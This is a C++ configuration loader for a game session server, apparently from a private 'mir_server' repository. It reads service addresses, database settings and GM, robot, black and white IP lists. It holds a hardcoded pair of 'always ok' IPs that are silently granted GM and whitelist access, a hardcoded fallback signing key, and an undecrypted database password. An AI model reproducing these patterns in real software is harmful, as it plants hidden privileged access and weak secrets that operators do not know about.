Files
mir_server/server/SessionServer/SSConfig.cpp
aixianling 5c9f1dae4a init
2025-01-09 17:45:40 +08:00

424 lines
9.1 KiB
C++
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#include "StdAfx.h"
#include "SSConfig.h"
//这里是一些永远ok的ip列表
static long long s_whiteip[]=
{
inet_addr("14.23.154.74"),
inet_addr("61.144.23.107"),
};
void CSSConfig::showError(LPCTSTR sError)
{
m_sLastErrDesc = sError;
RefString s = _T("[Config Error]");
s += sError;
throw s;
}
bool CSSConfig::readConfig(CSSManager *lpSSManager)
{
if ( !openGlobalTable("SessionServer") )
return false;
LPCSTR sVal;
INT nVal=0;
//服务名称
sVal = getFieldString("ServerName");
lpSSManager->SetServerName(sVal);
nVal = getFieldInt("spguid"); //获得运营商的编号
lpSSManager->SetSpGUID(nVal); //设置运营商的ID
bool val = true;
bool bOpen = getFieldBoolean("fcmOpen",&val); //获得运营商的编号
lpSSManager->SetFcmOpen(bOpen);
nVal = 0;
//是否检测服务器的id
nVal = getFieldInt("noserverid",&nVal);
lpSSManager->SetCheckServerIndex(nVal ==0);
sVal = getFieldString("SPID");
lpSSManager->SetSPID(sVal);
int nDefalutValue = 1;
bOpen = getFieldInt("checksign",&nDefalutValue) ?true:false; //获得运营商的编号
lpSSManager->SetCheckPhpSign(bOpen); //是否开启
TCHAR * szConfigFileName = _T("oio009okko0990jiolklk");
sVal = getFieldString("key",szConfigFileName);
lpSSManager->SetPhpKey((TCHAR*)sVal);
nDefalutValue = 600;
nDefalutValue = getFieldInt("phptime",&nDefalutValue); //获得运营商的编号
lpSSManager->SetPhpTime(nDefalutValue);
nDefalutValue =1; //是否自动创建账户
bOpen = getFieldInt("autoaccount",&nDefalutValue) ?true:false; //获得运营商的编号
lpSSManager->SetAutoAccount(bOpen);
nDefalutValue =0; //是否封停账户就封IP
bOpen = getFieldInt("sealaccountsealip",&nDefalutValue) ?true:false; //获得运营商的编号
lpSSManager->SetSealAccountSealIp(bOpen); //设置封停账户就封停IP
if(bOpen)
{
OutputMsg(rmError,"封停账户登陆就封停IP开启");
}
//单ip登陆多少就发消息到后天
nDefalutValue =10; //是否自动创建账户
nDefalutValue= getFieldInt("iplog",&nDefalutValue) ; //获得运营商的编号
lpSSManager->SetIpLogCount(nDefalutValue);
nDefalutValue =0;
//是不是md5的卡
bOpen = getFieldInt("autocard",&nDefalutValue) ?true:false; //获得运营商的编号
lpSSManager->SetCardMd5(bOpen);
//网关服务配置
/*
if ( openFieldTable("GateService") )
{
sVal = getFieldString("Address");
nVal = getFieldInt("Port");
lpSSManager->SetGateServiceAddress(sVal, nVal);
closeTable();
}
*/
//会话服务配置
if ( openFieldTable("SessionService") )
{
sVal = getFieldString("Address");
nVal = getFieldInt("Port");
lpSSManager->SetSessionServiceAddress(sVal, nVal);
closeTable();
}
//日志服务器地址配置
if ( openFieldTable("LogServer") )
{
sVal = getFieldString("Host");
nVal = getFieldInt("Port");
lpSSManager->SetLogServerAddress(sVal, nVal);
closeTable();
}
// AMServer配置
if (openFieldTable("AMServer"))
{
sVal = getFieldString("Host");
nVal = getFieldInt("Port");
lpSSManager->SetAMServerAddr(sVal, nVal);
closeTable();
}
//数据库配置
if ( openFieldTable("SQL") )
{
LPCSTR sDBName, sDBUser, sDBPass;
CHAR sPlantPass[128];
memset(sPlantPass,0,sizeof(sPlantPass));
sVal = getFieldString("Host");
nVal = getFieldInt("Port");
sDBName = getFieldString("DBName");
sDBUser = getFieldString("DBUser");
sDBPass = getFieldString("DBPass");
int nDef =0;
bool bUtf8 = getFieldInt("utf8", &nDef)?true:false; //读取是否支持utf8
//DecryptPassword(sPlantPass, ArrayCount(sPlantPass), sDBPass, "JX_SS_DB_CFG_KEY");
//lpSSManager->SetSQLConfig(sVal, nVal, sDBName, sDBUser, sPlantPass,bUtf8);
lpSSManager->SetSQLConfig(sVal, nVal, sDBName, sDBUser, sDBPass,bUtf8);
closeTable();
}
closeTable();
return true;
}
bool CSSConfig::loadConfig(CSSManager *lpSSManager)
{
bool result = false;
wylib::stream::CMemoryStream ms;
try
{
//加载配置文件
if ( ms.loadFromFile(g_ConfigPath.c_str()) <= 0 )
{
showErrorFormat(_T("unabled to load config from %s"), g_ConfigPath.c_str());
return false;
}
setScript((LPCSTR)ms.getMemory());
//读取配置文件
result = readConfig(lpSSManager);
//读取GM限制列表
readGMConfig(lpSSManager);
}
catch (RefString& s)
{
OutputMsg( rmError, (LPCTSTR)s );
}
catch (...)
{
OutputMsg( rmError, _T("unexpected error on load config") );
}
return result;
}
//读取GM配置
bool CSSConfig::readGMConfig(CSSManager *lpSSManager)
{
static LPCTSTR szConfigFileName = _T("GM.txt");
bool result = false;
wylib::stream::CMemoryStream ms;
try
{
//加载配置文件
if ( ms.loadFromFile(szConfigFileName) <= 0 )
{
showErrorFormat(_T("unabled to load config from %s"), szConfigFileName);
return false;
}
setScript((LPCSTR)ms.getMemory());
if ( !openGlobalTable("GMConfig") )
{
OutputMsg(rmWaning,_T("GMConfig table not found"));
return false;
}
int nDefalut=20;
//设置1个ip可以登陆多少个账户
int nCount = getFieldInt("loginlimit",&nDefalut);
lpSSManager->SetIpLoginCount(nCount);
nDefalut =0; //只要白名单成员才能通过
int nWitePass = getFieldInt("whitepass",&nDefalut);
bool whitePassflag =false;
if (nWitePass) whitePassflag=true;
//设置是否只要白名单才能登陆
lpSSManager->SetWhitePass(whitePassflag);
//单ip如果登陆连续间隔低于这个值认定为外挂则需要直接封账户封ip
nDefalut=10;
//设置登陆间隔如果平均登陆的次数低于这些则直接封账户封IP
nCount = getFieldInt("interval",&nDefalut);
lpSSManager->SetForbidInterval(nCount);
nDefalut=5;
nCount = getFieldInt("kickcount",&nDefalut);
lpSSManager->SetKickCount(nCount);
nDefalut=0;
nCount = getFieldInt("gmip",&nDefalut);
lpSSManager->SetGmIpLogin(nCount?true:false);
nDefalut=0;
nCount = getFieldInt("autoseal",&nDefalut);
lpSSManager->SetAutoSealIp(nCount?true:false);
CBaseList<unsigned long long>& gmips= lpSSManager->GetGmIpList(); //获取ip列表
if (feildTableExists("gmloginip") && openFieldTable("gmloginip"))
{
gmips.clear();
if (enumTableFirst())
{
INT_PTR nIdx = 0;
do
{
char ipStr[128];
getFieldStringBuffer(NULL, ipStr,sizeof(ipStr));
//char *pStr = (char*)malloc(strlen(ipStr) +1);
unsigned long long sip = inet_addr(ipStr);
OutputMsg(rmTip,"Add GM ip=%s",ipStr);
gmips.add(sip);
} while (enumTableNext());
}
closeTable();
}
AddAlwayWhiteIp(gmips);
CBaseList<unsigned long long>& robotIps= lpSSManager->GetCreateAcountIpList(); //获取ip列表
if (feildTableExists("robotip") && openFieldTable("robotip"))
{
robotIps.clear();
if (enumTableFirst())
{
INT_PTR nIdx = 0;
do
{
char ipStr[128];
getFieldStringBuffer(NULL, ipStr,sizeof(ipStr));
//char *pStr = (char*)malloc(strlen(ipStr) +1);
unsigned long long sip = inet_addr(ipStr);
OutputMsg(rmTip,"Add robot ip=%s",ipStr);
robotIps.add(sip);
} while (enumTableNext());
}
closeTable();
}
AddAlwayWhiteIp(robotIps);
CBaseList<unsigned long long>& blackips= lpSSManager->GetBlackIpList(); //获取ip列表
if (feildTableExists("blackip") && openFieldTable("blackip"))
{
//blackips.clear();
CSessionServer* pSrv= lpSSManager->getSessionServer();
if (enumTableFirst())
{
INT_PTR nIdx = 0;
do
{
char ipStr[128];
getFieldStringBuffer(NULL, ipStr,sizeof(ipStr));
//char *pStr = (char*)malloc(strlen(ipStr) +1);
unsigned long long sip = inet_addr(ipStr);
bool flag =false;
for(INT_PTR i=0;i < blackips.count() ; i++)
{
if(blackips[i] == sip)
{
flag =true;
break;
}
}
if(!flag)
{
OutputMsg(rmTip,"Add black ip=%s",ipStr);
blackips.add(sip);
}
//OutputMsg(rmTip,"Add black ip=%s",ipStr);
//blackips.add(sip);
} while (enumTableNext());
}
closeTable();
}
CBaseList<unsigned long long>& whiteips= lpSSManager->GetWhiteIpList(); //获取ip列表
if (feildTableExists("whiteip") && openFieldTable("whiteip"))
{
whiteips.clear();
if (enumTableFirst())
{
INT_PTR nIdx = 0;
do
{
char ipStr[128];
getFieldStringBuffer(NULL, ipStr,sizeof(ipStr));
//char *pStr = (char*)malloc(strlen(ipStr) +1);
unsigned long long sip = inet_addr(ipStr);
OutputMsg(rmTip,"Add whiteip ip=%s",ipStr);
whiteips.add(sip);
} while (enumTableNext());
}
closeTable();
}
AddAlwayWhiteIp(whiteips);
return true;
}
catch (RefString& s)
{
OutputMsg( rmError, (LPCTSTR)s );
}
catch (...)
{
OutputMsg( rmError, _T("unexpected error on load config") );
}
return result;
}
void CSSConfig::AddAlwayWhiteIp(CBaseList<unsigned long long > & ips)
{
static int nSize = ArrayCount(s_whiteip);
for(int i=0; i< nSize; i++)
{
unsigned long long nIp = s_whiteip[i];
bool flag =false;
for(int j=0; j < ips.count(); j++)
{
if(nIp == ips[j])
{
flag =true;
break;
}
}
if( !flag)
{
ips.add(nIp);
}
}
}